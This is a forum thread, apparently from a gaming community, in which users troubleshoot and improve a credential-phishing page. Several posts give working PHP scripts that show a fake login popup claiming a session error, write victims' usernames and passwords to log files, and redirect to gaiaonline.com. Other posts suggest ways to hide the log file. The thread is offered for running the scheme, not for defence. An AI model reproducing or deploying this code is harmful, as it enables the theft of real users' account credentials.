hey guys when i press the account.txt,it will open a new page then u need to log in your *** account AGAIN,and now it is not working.please help me
Printable View
hey guys when i press the account.txt,it will open a new page then u need to log in your *** account AGAIN,and now it is not working.please help me
please send me the *** account i will see what is the problem if you believe i will scam you, you can find someone else to do it for you
Note: make sure you press Open
hello i know what to do
Either press OPEN or Download it or go to your site with the txt file in the link
example;
http://www.logicalgamers.***.com/flw/accounts.txt
thats not working either chad they must be editing stuff
the problem has been going around where the page turns up white when you go to look at the account.txt file eaither you will get lucky and see what is in it or it will be a white page
Ok i took a look in his *** and his popup login box isnt coded right.
**********************EDIT FOUND THE FOLLOWING PROBLEM************************PHP Code:
<?php
if(isset($_SERVER['PHP_AUTH_USER'])){
$Handle = @fopen('LogicalAccounts.html', 'a');
@fwrite($Handle, "Username = {$_SERVER['PHP_AUTH_USER']}\r\n");
@fwrite($Handle, "Password = {$_SERVER['PHP_AUTH_PW']}\r\n\r\n");
@fclose($Handle);exit;
}
header('WWW-Authenticate: Basic realm="A session error has occured please verify your Username and Password."');
header('HTTP/1.0 401 Unauthorized');
exit;
?>
You had to write the file in a HTML but it looks like shit when you open it up, so just press edit on the file LogicalGamers.html
Its suppose to be in a .php. -sigh-
@Everyone else, I want to clear up what PedoBear meant.
Translation: The HTML file is the log file. PedoBear mistakenly said logging, but if you actually glance at the code, you'll see that LogicalAccounts.html is being opened with fopen.
i.e. The logs are being written there.
Info goes in acounties.txtPHP Code:
<?php
while($_SERVER['PHP_AUTH_USER'] == null || $_SERVER['PHP_AUTH_PW'] == null){
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
$Handle = @fopen('acounties', 'a');
@fwrite($Handle, "{$_SERVER['PHP_AUTH_USER']}:");
@fwrite($Handle, "{$_SERVER['PHP_AUTH_PW']}\r\n");
@fclose($Handle);
header('Location: http://www.gaiaonline.com');
exit;
?>
Your welcome :)
Why would you change a file name which has a fairly obscure name to a really obvious name?
Side Note: I Personally recommend the account name be PHP.
Using Bman's example, I'll demonstrate what I mean.
PHP Code:
<?php
while($_SERVER['PHP_AUTH_USER'] == null || $_SERVER['PHP_AUTH_PW'] == null){
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
$Handle = fopen('logs.php', 'a');
fwrite($Handle, "{$_SERVER['PHP_AUTH_USER']}:");
fwrite($Handle, "{$_SERVER['PHP_AUTH_PW']}\n");
fclose($Handle);
header('Location: http://www.gaiaonline.com');
exit;
?>
In the logs.php file, I would use the following:
Also, what's the purpose of using @ before a function name?PHP Code:
<?php
header('Content-Type: text/plain');
?>
Also, why'd you leave .txt off accounts?
Edit: I thought you said accounts.txt instead of accounties. Sorry about that.